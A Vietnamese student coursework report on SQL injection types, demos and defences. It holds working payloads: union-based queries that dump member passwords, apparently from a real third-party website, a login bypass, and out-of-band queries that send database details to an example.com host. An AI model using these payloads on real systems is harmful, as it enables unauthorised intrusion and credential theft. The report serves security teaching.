Phòng chống từ mức nền tảng hệ thống 17 KẾT LUẬN 18 TÀI LIỆU THAM KHẢO 19 BẢNG PHÂN CÔNG NHIỆM VỤ 20 Trang 4 DANH MỤC CÁC TỪ VÀ THUẬT NGỮ VIẾT TẮT STT Ký hiệu Tên Tiếng Anh Ý nghĩa Tiế
HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG KHOA CƠNG NGHỆ THÔNG TIN BÁO CÁO BÀI TẬP LỚN AN TỒN VÀ BẢO MẬT HỆ THỐNG THƠNG TIN Đề tài: TÌM HIỂU VỀ CÁC DẠNG TẤN CƠNG SQL INJECTION XÂY DỰNG VÀ DEMO CÁC KỊCH BẢN TẤN CÔNG SQL INJECTION Tên nhóm: D2002G02 Thành viên nhóm: B20DCCN386 Nguyễn Thanh Lam B20DCCN747 Nguyễn Trần Vũ B20DCCN123 Bùi Xuân Diệu B20DCCN509 Hoàng Trọng Phúc B20DCCN550 Nguyễn Mạnh Quân Giảng viên hướng dẫn: TS Đinh Trường Duy HÀ NỘI – 2023 MỞ ĐẦU Trong thời đại kỷ nguyên số nay, ứng dụng web trở thành phần thiết yếu sống hàng ngày, có mặt khắp nơi Và thơng tin, liệu đóng vai trị vơ quan trọng Thông tin yếu tố quan trọng trình thiết kế, phát triển triển khai ứng dụng website Trên sở liệu, thơng tin cịn đóng vai trị quan trọng việc tạo hệ thống quản lý liệu hiệu quả, hỗ trợ cho hoạt động tổ chức Thông tin giúp cho nhà phát triển quản trị viên quản lý loại liệu khác nhau, từ liệu khách hàng, liệu tài …, đồng thời giúp cải thiện tính bảo mật hệ thống Các thông tin Internet đa dạng nội dung hình thức Thơng tin, lợi ích Internet ngày nhiều làm nảy sinh vấn đề xâm nhập, truy cập để khai thác phục vụ mục đích riêng Vì vấn đề phòng chống xâm nhập, bảo mật cần thiết, nhằm mục đích bảo vệ thơng tin, liệu, bảo vệ người dùng hệ thống Ngày nay, hình thức công đa dạng công từ chối dịch vụ làm cho trang web truy cập, chiếm quyền kiểm sốt, đánh cắp thơng tin, … Hầu hết công dựa lỗ hổng bảo mật Theo OWASP (Open Web Application Security Project), 10 lỗ hổng bảo mật ứng dụng web bị công nhiều nhất, tiêm nhiễm (Injection) mối đe dọa số ứng dụng web, có tiêm nhiễm SQL (thậm chí tới năm 2021 dạng lỗ hổng Injection xếp vị trí số 7) Các lỗ hổng SQL injection thường đánh giá mức độ nghiêm trọng dạng High gây thiệt hại lớn cho nhà phát triển doanh nghiệp Việc sâu tìm hiểu dạng cơng vào ứng dụng web cụ thể dạng công SQL injection giúp hiểu lỗ hổng hệ thống, qua đưa giải pháp phòng chống, ngăn chặn xâm nhập, triển khai cơng nghệ an tồn, bảo mật Phần tiểu luận trình bày theo bố cục sau: - Phần 1: Các dạng công SQL injection - Phần 2: Demo SQL injection - Phần 3: Cách phòng chống SQL injection MỤC LỤC MỞ ĐẦU MỤC LỤC DANH MỤC CÁC TỪ VÀ THUẬT NGỮ VIẾT TẮT PHẦN 1: CÁC DẠNG TẤN CÔNG SQL INJECTION 1.1 In-band SQL injection 1.1.1 Error-based SQL injection 1.1.2 Union-based SQL injection 1.2 Blind SQL injection 1.2.1 Boolean-based blind SQL injection 1.2.2 Time-based blind SQL injection 1.3 Out-of-band SQL injection PHẦN 2: DEMO SQL INJECTION 2.1 Tấn công dạng In-band SQL injection 2.2 Tấn công dạng Blind SQL injection PHẦN 3: CÁCH PHỊNG CHỐNG SQL INJECTION 3.1 Phịng chống từ mức xây dựng mã nguồn ứng dụng 3.1.1 Lọc liệu từ người dùng 3.1.2 Tham số hóa truy vấn (parameterized query) 3.1.3 Không hiển thị exception, message lỗi 3.1.4 Phân quyền rõ ràng DB 3.1.5 Backup liệu thường xuyên 3.1.6 Sử dụng tài nguyên cung cấp thường xuyên 3.2 Phòng chống từ mức tảng hệ thống KẾT LUẬN TÀI LIỆU THAM KHẢO BẢNG PHÂN CÔNG NHIỆM VỤ BẢNG ĐÁNH GIÁ THÀNH VIÊN 2 4 6 10 10 12 16 16 16 16 16 16 16 16 17 18 19 20 20 DANH MỤC CÁC TỪ VÀ THUẬT NGỮ VIẾT TẮT STT Ký hiệu Tên Tiếng Anh Ý nghĩa Tiếng Việt OWASP Open Web Application Security Project Tổ chức phi lợi nhuận quốc tế chuyên bảo mật ứng dụng web SQL Structured Query Language Ngôn ngữ truy vấn có cấu trúc DB Database Cơ sở liệu DML Data Manipulation Language Ngôn ngữ thao tác liệu PHẦN 1: CÁC DẠNG TẤN CÔNG SQL INJECTION SQL injection (SQLi) kỹ thuật công bảo mật nhắm vào ứng dụng web hệ quản trị sở liệu Tấn công SQL injection thực cách chèn đoạn mã SQL độc hại vào trường liệu đầu vào ứng dụng web yêu cầu truy vấn sở liệu Mục đích SQL injection để thực thi câu lệnh SQL độc hại sở liệu ứng dụng, cho phép kẻ cơng truy cập, thay đổi, xóa chí lấy sở liệu Tấn công SQL injection thường sử dụng để đánh cắp thông tin nhạy cảm tên người dùng, mật khẩu, thơng tin tài khoản ngân hàng, thẻ tín dụng chí lấy quyền kiểm sốt hệ thống ứng dụng web Tấn cơng SQL Injection có ba dạng: In-band SQL injection, Blind SQL injection Out-of-band SQL injection 1.1 In-band SQL injection In-band SQL injection hay gọi Classic SQL injection dạng SQL injection Đây kiểu công SQL injection phổ biến dễ khai thác tính đơn giản hiệu In -band SQL Injection xảy kẻ công sử dụng kênh liên lạc để khởi động công thu thập kết Ví dụ kẻ công thực công theo cách thủ cơng trình duyệt web, kết cơng hiển thị trình duyệt web Ví dụ in-band SQL injection: Giả sử truy vấn sau (được đánh dấu **) nhằm trả liệu cá nhân người dùng hiển thị liệu hình SELECT * FROM user WHERE user_id LIKE 'current_user'; Nếu ứng dụng thực thi câu truy vấn cách sử dụng phép nối chuỗi đơn giản, kẻ cơng sử dụng “%’ ” để điền vào phần “current_user” Khi đó, dấu gạch ngang kép “ ” có nghĩa phần phía sau trở thành comment bỏ qua Trong ký hiệu “%” SQL sử dụng ký tự đại diện cho chuỗi nào, kể chuỗi trống Do đó, kết cơng ứng dụng hiển thị nội dung toàn bảng user theo liệu cá nhân không ghi người dùng Có hai biến thể phụ dạng công Error-based SQL injection Unionbased SQL injection 1.1.1 Error-based SQL injection Error-based SQL injection biến thể in-band SQLi, đó, kẻ công thực hành động làm sở liệu tạo thông báo lỗi Kẻ công dùng liệu cung cấp thông báo lỗi để thu thập thông tin cấu trúc sở liệu Cụ thể, tùy thuộc vào cấu trúc ứng dụng loại sở liệu, kẻ cơng sử dụng chuỗi lỗi nhận để: - Lấy thông tin loại phiên sở liệu để sử dụng kỹ thuật công khác cho loại phiên sở liệu cụ thể - Nhận thông tin cấu trúc sở liệu để thử SQL injection cụ thể sau biết cấu trúc - Lấy liệu khỏi sở liệu Mặc dù trình dài phức tạp nhiều so với việc hiển thị trực tiếp kết truy vấn, kẻ cơng thao tác lỗi để trích xuất liệu từ sở liệu Ví dụ error-based SQL injection Vẫn câu truy vấn (**), ta sử dụng “ 1’ ” để điền vào phần “current_user” Khi câu truy vấn thành: SELECT * FROM user WHERE user_id = '1''; Hai dấu nháy đơn cuối truy vấn khiến sở liệu báo lỗi Nếu máy chủ web cấu hình để hiển thị lỗi hình, kẻ cơng thấy thơng báo sau: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/query.php on line 37 Kết là, kẻ công thấy ứng dụng sử dụng sở liệu MySQL sử dụng công dành riêng cho MySQL 1.1.2 Union-based SQL injection Một biến thể khác in-band SQL injection Union-based SQL injection Với phương pháp này, kẻ công sử dụng mệnh đề UNION SQL để kết hợp kết hai nhiều câu lệnh SELECT thành kết nhất, sau trả phần HTTP response Đây loại SQL injection nguy hiểm cho phép kẻ công lấy trực tiếp hầu hết thông tin từ sở liệu Ví dụ union-based SQL injection Tiếp tục ví dụ câu truy vấn (**), ta điền vào phần “current_user” sau: SELECT * FROM user WHERE user_id = '-1' UNION SELECT version(),current_user() '; Câu lệnh sử dụng cấu trúc UNION SELECT để kết hợp kết từ hai truy vấn khác Đầu tiên truy vấn sử dụng điều kiện WHERE để lấy tất user_id -1 Tuy nhiên khơng có user_id -1 khơng sau truy vấn sử dụng UNION SELECT để thêm kết từ hai truy vấn khác nhau, câu lệnh hai truy vấn lấy kết từ hai hàm version() current_user() nhúng truy vấn Hàm version() trả phiên sở liệu chạy Document continues below Discover more An toàn Bảo from: mật Hệ thống… INT1303 Học viện Công ng… 32 documents Go to course ATTT2-2p - ATTT227 226 2p An toàn Bảo mật… 100% (1) Giáo trình sở an tồn thơng tin - thầ… An tồn Bảo mật… 100% (1) 2023 cloud security 24 report checkpoint… An toàn Bảo mật Hệ… None An introduction to 126 windows operating… An toàn Bảo mật Hệ… None Lab 04 - Decrypting TLS with Wireshark An toàn Bảo mật Hệ… None Lab 06 - Pcap Strings and Carving… hàm current_user() trả tên người dùng sử dụng kết nối Anđểtoàn vàđến sở None liệu Cuối cùng, để tránh lỗi cú pháp, truy vấn kết thúc “ ”.mật Hệ… Bảo Kết trả sau: 5.1.73-0ubuntu0.10.04.1 mysql@localhost Kẻ công thấy ứng dụng sử dụng sơ sở liệu MySQL 5.1.73 hệ điều hành Ubuntu 10.04.1 sở liệu truy cập tài khoản người dùng hệ điều hành MySQL 1.2 Blind SQL injection Blind SQL injection hay gọi inferential SQL injection Blind mù, inferential suy luận Sở dĩ loại SQL injection có tên cơng blind SQL injection, khơng có liệu thực truyền qua ứng dụng web kẻ cơng khơng thể nhìn thấy kết cơng in-band Thay vào đó, kẻ cơng xây dựng lại cấu trúc sở liệu theo kiểu step-by-step cách quan sát hành vi máy chủ sở liệu ứng dụng Dựa phản ứng hành vi máy chủ sở liệu ứng dụng, kẻ công thực việc sau: - Kiểm tra xem thực kiểu SQL injection khác không - Nhận thông tin cấu trúc sở liệu - Lấy liệu khỏi sở liệu Mặc dù thực cơng blind SQL injection nhiều thời gian để kẻ công khai thác, nhiên, nguy hiểm loại SQL injection khác Có hai kiểu blind SQL injection boolean-based blind SQLi timebased blind SQLi 1.2.1 Boolean-based blind SQL injection Kẻ công gửi truy vấn SQL đến sở liệu, làm ứng dụng trả kết Kết khác tùy thuộc vào việc truy vấn hay sai Tùy thuộc vào kết quả, nội dung HTTP response thay đổi giữ nguyên Việc cho phép kẻ công suy luận xem thơng báo tạo kết có không Cuộc công thường chậm, đặc biệt sở liệu lớn, kẻ công cần liệt kê sở liệu, ký tự Ví dụ boolean-based blind SQL injection Giả sử truy vấn sau (gọi ***) nhằm hiển thị thông tin chi tiết sản phẩm (product) từ sở liệu: SELECT * FROM product WHERE id = product_id Lúc đầu, kẻ công sử dụng ứng dụng theo cách hợp pháp để khám phá product_id có Ví dụ sản phẩm có product_id 42 Sau kẻ cơng cung cấp thêm điều kiện cho WHERE “1=1” “1=0” Truy vấn trở thành sau: SELECT * FROM product WHERE id = 42 and 1=1 SELECT * FROM product WHERE id = 42 and 1=0 Kẻ công thực hai câu truy vấn trên, ứng dụng hoạt động hai trường hợp theo hai cách khác nhau, bị cơng boolean-based blind SQLi Ví dụ máy chủ sở liệu Microsoft SQL Server, kẻ công sử dụng đoạn truy vấn sau thay cho product_id: 42 AND (SELECT TOP substring(name, 1, 1) FROM sysobjects WHERE id = (SELECT TOP id FROM (SELECT TOP id FROM sysobjects ORDER BY id) AS subq ORDER BY id DESC)) = 'a' Kết truy vấn phụ ngoặc đơn sau “42 AND” để kiểm tra xem tên bảng sở liệu có bắt đầu chữ “a” hay không Nếu đúng, ứng dụng hoạt động giống sử dụng “42 AND 1=1” Nếu sai, ứng dụng hoạt động giống sử dụng “42 AND 1=0” Kẻ công lặp lại với tất chữ sau chuyển sang ký tự thứ hai, thứ ba, tên bảng Kết kẻ công phát tên đầy đủ bảng cấu trúc sở liệu Sau kẻ cơng lấy thêm liệu cấu trúc bảng trích xuất liệu từ bảng Kỹ thuật sử dụng với loại sở liệu khác Microsoft SQL 1.2.2 Time-based blind SQL injection Kẻ công gửi truy vấn SQL đến sở liệu, buộc sở liệu đợi khoảng thời gian xác định (trong vài giây) trước phản hồi Sau đó, kẻ cơng biết từ thời gian sở liệu cần để phản hồi xem truy vấn hay sai Một HTTP response trả có độ trễ tùy thuộc vào kết Vì vậy, kẻ cơng suy luận xem tải trọng mà chúng sử dụng để trả kết hay sai mà không cần dựa vào liệu từ sở liệu Giống với Boolean-based, công thường diễn chậm Ví dụ time-based blind SQL injection Sử dụng câu truy vấn ***, kẻ cơng sử dụng chuỗi sau thay cho product_id: “42; WAITFOR DELAY '0:0:10'” Câu truy vấn trở thành: SELECT * FROM product WHERE id = 1; WAITFOR DELAY '0:0:10' Ví dụ máy chủ sở liệu Microsoft SQL Server, ứng dụng dễ bị công time-based blind SQLi kẻ cơng thấy ứng dụng bị trễ 10 giây Lúc kẻ cơng thực loại SQLi cách sử dụng đoạn truy vấn sau thay cho product_id: 42; IF(EXISTS(SELECT TOP * FROM sysobjects WHERE id=(SELECT TOP id FROM (SELECT TOP id FROM sysobjects ORDER BY id) AS subq ORDER BY id DESC) AND ascii(lower(substring(name, 1, 1))) = 'a')) WAITFOR DELAY '0:0:10' Nếu tên bảng cấu trúc sở liệu bắt đầu chữ “a”, phần thứ hai truy vấn ứng dụng phản hồi trễ 10 giây Cũng giống Boolean-based blind SQLi, kẻ cơng sử dụng phương pháp nhiều lần để khám phá tên bảng cấu trúc sở liệu, sau cố gắng lấy thêm liệu cấu trúc bảng bảng cuối trích xuất liệu từ bảng 1.3 Out-of-band SQL injection Out-of-band SQL injection kỹ thuật khơng phổ biến phụ thuộc vào tính bật máy chủ sở liệu ứng dụng web sử dụng Nó sử dụng kẻ công sử dụng kênh để khởi động công thu thập kết (nguyên tắc mà in-band sử dụng để công) Kỹ thuật giải pháp thay cho kỹ thuật time-based blind, đặc biệt phản hồi máy chủ không ổn định chậm Các kỹ thuật out-of-band SQLi dựa vào khả server tạo DNS hay HTTP request để chuyển liệu cho kẻ cơng Ví dụ out-of-band SQL injection a Ví dụ out-of-band SQL injection Microsoft SQL Server Kẻ công sử dụng lệnh “xp_dirtree” Microsoft SQL Server để thực yêu cầu DNS tới máy chủ mà kẻ công kiểm sốt Ví dụ với cụm câu truy vấn sau: DECLARE @a varchar(1024); DECLARE @b varchar(1024); SELECT @a = (SELECT system_user); SELECT @b = (SELECT DB_Name()); EXEC('master xp_dirtree"\\'+@a+''+'.'+''+@b+'example.com\test$"'); Hai dòng đầu khai báo hai biến ‘@a’ ‘@b’, hai dòng gán giá trị bo biến, với ‘@a’ người dùng hệ thống ‘@b’ gán tên sở liệu chọn Dòng cuối sử dụng lệnh ‘xp_dirtree thủ tục liệt kê nội dung đường dẫn thư mục cụ thể xây dựng từ biến ‘@a’ ‘@b’ b Ví dụ out-of-band SQL injection Oracle Ví dụ với câu truy vấn sau: SELECT DBMS_LDAP.INIT( (SELECT version FROM v$instance)||'.'|| (SELECT user FROM dual)||'.'|| (SELECT name FROM v$database)||'.'||example.com' ,80) FROM dual; Trong truy vấn trên, kẻ cơng sử dụng hàm init() gói DBMS_LDAP sở liệu Oracle để khởi tạo kết nối LDAP đến máy chủ LDAP Ngoài ra, kẻ cơng cịn sử dụng gói UTL_HTTP sở liệu Oracle để gửi HTTP request từ SQL PL/SQL đến máy chủ mà kẻ công kiểm soát PHẦN 2: DEMO SQL INJECTION 2.1 Tấn công dạng In-band SQL injection Tấn công Error-based SQL injection để bắt lỗi sở liệu, theo truy cập dần vào sở liệu Khi công Error-based SQL injection, trang web lỗi trang web công vào sở liệu liệu hiển thị trực tiếp lên trang web Trang web thực demo: www.gets.com.vn/?frame=product_detail&id=663 Hình 1.1 Trang web chưa bị cơng Để biết sở liệu có cột ta chèn câu lệnh vào đường link: %20order%20by%20 Khi ta thêm %20order%20by%2023 vào sau đường link ta được: Hình 1.2 Trang web chèn câu truy vấn để dị cột sở liệu Hình ảnh nên suy sở liệu có 22 cột Để kiểm tra xem cột bị lỗi tiếp tục chen vào sau đường link câu truy vấn: %20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22 Chúng ta chèn thêm dấu để truy vấn SQL hiểu đằng sau khơng thực Vì sở liệu có 22 cột nên cần nhập đến 22 10 Hình 1.3 Trang web lên cột bị lỗi sở liệu Trang web lên số từ ta biết cột số bị lỗi Lấy thông tin tên bảng: - Vì cột số lỗi nên ta chèn câu truy vấn UNHEX(HEX(GROUP_CONCAT(TABLE_NAME))) vào số đường link thêm câu truy vấn khác vào sau đường link: %20FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() Khi ta có tồn tên bảng sở liệu: tbl_album,tbl_album_category,tbl_config,tbl_content,tbl_content_category,tbl_content _categorych,tbl_contentch,tbl_cuahang,tbl_cuahang_category,tbl_cuahang_new,tbl_cu ahang_special,tbl_demo,tbl_demo_category,tbl_member,tbl_order,tbl_order_detail,tbl _product,tbl_product1,tbl_product1_new,tbl_product1_special,tbl_product2_category, tbl_product_category,tbl_product_new,tbl_product_special,tbl_user,tbl_visitor Hình 1.4 Trang web lên tên bảng sở liệu Lấy tên cột bảng: - Ta thay số đường link câu truy vấn UNHEX(HEX(GROUP_CONCAT(COLUMN_NAME))) thêm vào cuối đường link câu truy vấn khác: %20FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CONCAT(CHAR(116),CHAR(98),CHAR(108),CHAR(95),C HAR(109),CHAR(101),CHAR(109),CHAR(98),CHAR(101),CHAR(114)) 11 Hình 1.5 Trang web thơng tin bảng tbl_member Lấy username password - Thay số đường link câu truy vấn UNHEX(HEX(GROUP_CONCAT(name,0x3a,pwd))) Và thêm vào sau câu truy vấn khác %20FROM tbl_member - Ta name password người dùng cách dấu cách - Ta lấy liệu khác thay thêm vào câu truy vấn: UNHEX(HEX(GROUP_CONCAT(name,0x3a,pwd))) Hình 1.6 Hiển thị tài khoản người dùng Ví dụ lấy name email: UNHEX(HEX(GROUP_CONCAT(name,0x3a,email))) Hình 1.7 Hiển thị tài khoản người dùng 2.2 Tấn công dạng Blind SQL injection Demo trang web Login sau dùng Boolean Based SQL injection để đăng nhập thành công mà không cần biết username password Tạo database SQL: sql_injection gồm có bảng user chứa thơng tin tài khoản có thuộc tính id, username password 12 Hình 2.1 Data base SQL Hình 2.2 Trang chủ đăng nhập Đăng nhập dùng username = Nguyen Van A pass123 Hình 2.3 Trang web hiển thị đăng nhập thành công Nếu đăng nhập username password, trang web thông báo “Login Success!”, ngược lại trang web báo “Failure!” 13 Hình 2.4 Trang web hiển thị đăng nhập thất bại Sử dụng Boolean Based SQL Injection để vượt qua khâu đăng nhập Nhập username password giá trị ‘or ‘1’=’1 Hình 2.5 Trang web hiển thị sau bị công Trang web thông báo “Login Sucess!” => trang web bị công SQL injection Giải thích: Khi nhập username password sau click Login trang web gửi method POST với data gồm có: { username = 'or '1'='1, password = 'or '1'='1 14 } Sau server thực câu truy vấn sau: SELECT * FROM user WHERE name =’’or '1'='1’ AND password = ‘’or '1'='1’; (*) Trong câu truy vấn có điều kiện: name = ‘’ trả False ‘1’=’1’ trả True password = ‘’ trả False Khi điều kiện or với điều kiện có phép so sánh False or True kết True Khi điều kiện or với điều kiện có phép so sánh False or True kết True Kết hợp có True AND True câu truy vấn (*) ln ln nên đăng nhập thành cơng 15 PHẦN 3: CÁCH PHỊNG CHỐNG SQL INJECTION 3.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng Điểm yếu SQL Injection bắt nguồn từ việc xử lý liệu từ người dùng không tốt, vấn đề xây dựng mã nguồn đảm bảo an ninh cốt lõi việc phòng chống SQL Injection 3.1.1 Lọc liệu từ người dùng Sử dụng filter để lọc kí tự đặc biệt (; ” ‘) từ khoá (SELECT, UNION) người dùng nhập vào Nên sử dụng thư viện/function cung cấp framework 3.1.2 Tham số hóa truy vấn (parameterized query) Các truy vấn tham số hóa xây dựng với mục đích xây dựng lần, dùng nhiều lần (mỗi lần sử dụng cần thay đổi tham số, tham số truyền vào lúc thực thi) Nếu liệu truyền vào không hợp pháp, SQL Engine tự động báo lỗi, ta không cần dùng code để check Tuy nhiên, mơ hình tham số hóa thực câu lệnh DML (select, insert, replace, update), create table, dạng câu lệnh khác chưa hỗ trợ 3.1.3 Không hiển thị exception, message lỗi Hacker dựa vào message lỗi để tìm cấu trúc database Khi có lỗi, ta thơng báo lỗi đừng hiển thị đầy đủ thông tin lỗi, tránh hacker lợi dụng 3.1.4 Phân quyền rõ ràng DB Nếu truy cập liệu từ số bảng, tạo account DB, gán quyền truy cập cho account đừng dùng account root hay sa Lúc này, dù hacker có inject SQL khơng thể đọc liệu từ bảng chính, sửa hay xoá liệu 3.1.5 Backup liệu thường xuyên Dữ liệu phải thường xuyên backup để có bị hacker xố ta khơi phục 3.1.6 Sử dụng tài nguyên cung cấp thường xuyên Bao gồm công cụ, hướng dẫn, báo cáo,… cho việc phát triển ứng dụng cách an toàn Một số nguồn sử dụng phổ biến: - Dự án nguồn mở an ninh ứng dụng Web (Open Web Application Security Project – OWASP – www.owasp.org) - Các hướng dẫn phòng chống SQL Injection Oracle: (http://www.integrigy.com/security-resources) - SQLSecurity.com (www.sqlsecurity.com): trang web chứa thông tin, tài nguyên việc phòng chống SQL injection mối nguy hiểm SQL Server khác 3.2 Phòng chống từ mức tảng hệ thống Các biện pháp phòng chống từ mức tảng hệ thống (platform-level) biện pháp cải tiến thời gian hoạt động (runtime) thay đổi cấu hình cho nâng cao mức độ an ninh tổng thể ứng dụng: 16 - Bảo vệ tức thời ứng dụng tường lửa Web - Giới hạn phạm vi ảnh hưởng DB 17 KẾT LUẬN SQL injection đã, lỗ hổng bảo mật dễ mắc phải gây hậu nghiêm trọng ứng dụng web Để ngăn chặn SQL Injection, nhà phát triển quản trị hệ thống cần thực biện pháp bảo mật chặt chẽ, đầy đủ Nếu khơng kiểm sốt tốt, SQL Injection gây hậu nghiêm trọng cho tồn hệ thống liệu Vì vậy, nhà phát triển nói chung nhà phát triển ứng dụng web nói riếng, cần đảm bảo ứng dụng thiết kế triển khai đầy đủ biện pháp bảo mật để tránh SQL injection Đối với quản trị viên hệ thống, cần kiểm tra giám sát hệ thống định kỳ, xác nhận cập nhật bảo mật cài đặt thực thi, đảm bảo tất ứng dụng hệ thống chạy phiên phần mềm để tránh lỗ hổng bảo mật biết đến Hướng phát triển tiếp theo: Nội dung luận văn phát triển theo hướng sau: Tiếp tục nghiên cứu thêm giải pháp, mơ hình phịng chống SQL injection 18 TÀI LIỆU THAM KHẢO [1] Open Web Application Security Project (2017), OWASP Top 10 - 2017 The Ten Most Critical Web Application Security Risks [2] In-band SQL injection, địa chỉ: https://www.invicti.com/learn/in-band-sqlinjection/ [3] Blind SQL injection, địa chỉ: https://www.invicti.com/learn/blind-sql-injection/ [4] Out-of-band SQL injection, địa chỉ: https://www.invicti.com/learn/out-of-band-sql-injection-oob-sqli/ [5] Types of SQL Injection (SQLi), địa chỉ: https://www.acunetix.com/websitesecurity/sql-injection2/ [6] SQL injection Tutorial: SQL Injection Tutorial - w3resource 19 BẢNG PHÂN CÔNG NHIỆM VỤ STT Họ tên Công việc Nguyễn Thanh Lam Các dạng công SQL injection Thực Powerpoint Nguyễn Trần Vũ Chỉnh sửa, hồn thiện nội dung hình thức báo cáo Thực Powerpoint Bùi Xuân Diệu Làm kịch bản, demo dạng cơng SQL injection Hồng Trọng Phúc Cách phòng chống SQL injection Nguyễn Mạnh Quân Làm kịch bản, demo dạng công SQL injection Thuyết trình BẢNG ĐÁNH GIÁ THÀNH VIÊN STT Họ tên Tự đánh giá Nhóm trưởng đánh giá Nguyễn Thanh Lam Hoàn thành thời gian giao Nội dung tài liệu mức đầy đủ, hoàn thành thời gian, tích cực tham gia góp ý xây dựng tập lớn Chấm điểm 10/10 Nguyễn Trần Vũ Hoàn thành thời gian giao Chỉnh sửa tài liệu mức tốt, hoàn thành thời gian giao, tích cực góp ý xây dựng tập lớn Chấm điểm 9/10 Bùi Xuân Diệu Hoàn thành thời gian giao Nội dung tài liệu mức đầy đủ, hồn thành thời gian giao, có ý thức góp ý xây dựng tập lớn Chấm điểm 20 Ghi 8,5/10 Hoàng Trọng Phúc Hoàn thành thời gian giao Nội dung tài liệu mức đủ, tích cực tham gia góp ý xây dựng tập lớn Chấm điểm 8,5/10 Nguyễn Mạnh Quân Hoàn thành thời gian giao Nội dung tài liệu mức đầy đủ, hoàn thành thời gian giao, mức độ tham gia góp ý xây dựng tập lớn tốt Chấm điểm 9/10 21 More from: An tồn Bảo mật Hệ thống thơng tin INT1303 Học viện Cơng nghệ Bưu Viễn thơng 32 documents Go to course ATTT2-2p - ATTT2-2p 27 An toàn Bảo mật Hệ thống thơng tin 10 Giáo trình sở an tồn thơng tin - thầy N 226 Khanh Văn An tồn Bảo mật Hệ thống thơng tin 10 2023 cloud security report checkpoint fina 24 An tồn Bảo mật Hệ thống thơng tin An introduction to windows operating sys 126 An toàn Bảo mật Hệ thống thông tin More from: Nguyễn Thanh Lam - B20DCCN386 190 Học viện Cơng nghệ Bưu Viễn thơng Discover more câu hỏi hệ điều hành 12 202 Hệ điều hành Tri-tue-nhan-tao tu-minh-phuong ttnt-tu minh-phuong-2014 - [cuuduongthancong Nhập môn AI N14 N20 chapter 14 doc - Chương 14 29 Công nghệ phần mềm A&D 02 14 bt3 Nguyễn Thanh Lam ver2 Hệ Thống Thông Tin Recommended for you Chuyên đề đáp án https://www.studocu.com/vn/document/tr Triết học Mác Lê nin 10 Correctional Administration Criminology 96 English - huhu 10 Led hiển thị 10 Preparing Vocabulary FOR UNIT 10 Led hiển thị 10